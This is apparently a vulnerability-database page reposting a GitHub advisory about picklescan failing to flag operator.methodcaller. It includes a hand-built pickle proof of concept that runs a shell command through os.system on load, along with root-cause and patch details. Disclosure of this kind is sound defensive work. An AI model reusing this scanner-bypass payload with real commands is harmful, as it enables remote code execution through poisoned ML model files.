N/A

CVSS Score

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

GHSA-x843-g5mx-g377

GHSA-x843-g5mx-g377: Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller

Summary

Picklescan uses operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the operator.methodcaller function in method reduce.
Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

PoC

import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)

This PoC can't be easily created by pickle.dumps, therefore it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

(GitHub Advisory)

Miggo Vulnerability Database

→

GHSA-x843-g5mx-g377

GHSA-x843-g5mx-g377:

N/A

CVSS Score

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
picklescan	pip	< 0.0.33	0.0.33

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a detection bypass in the picklescan library, where it fails to identify operator.methodcaller as a dangerous function when scanning pickle files. An attacker could craft a malicious pickle file using this function to achieve remote code execution, and picklescan would incorrectly report the file as safe.

The patch 70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab addresses this vulnerability by adding methodcaller to the _unsafe_globals blocklist within src/picklescan/scanner.py.

The core of the flawed logic resides in the _build_scan_result_from_raw_globals function, which is responsible for checking globals against this blocklist. Because the blocklist was incomplete, this function would fail to flag the malicious payload.

The user-facing functions scan_file_path and scan_bytes are the entry points for the scanning process. When a user scans a malicious pickle file, these functions are on the call stack and they rely on the flawed _build_scan_result_from_raw_globals function, ultimately returning an incorrect safety assessment. Therefore, these functions would appear in a runtime profile when the vulnerability is triggered (i.e., when a scan fails to detect the threat).

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

N/A

-

Basic Information

Basic Information

Concerned about an active attack path?

GHSA-x843-g5mx-g377: Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller

Summary

Details

PoC

Impact

Report by

GHSA-x843-g5mx-g377:

N/A

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

GHSA-x843-g5mx-g377: Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller

Summary

Details

PoC

Impact

Report by

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Basic Information

Basic Information

N/A

N/A

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI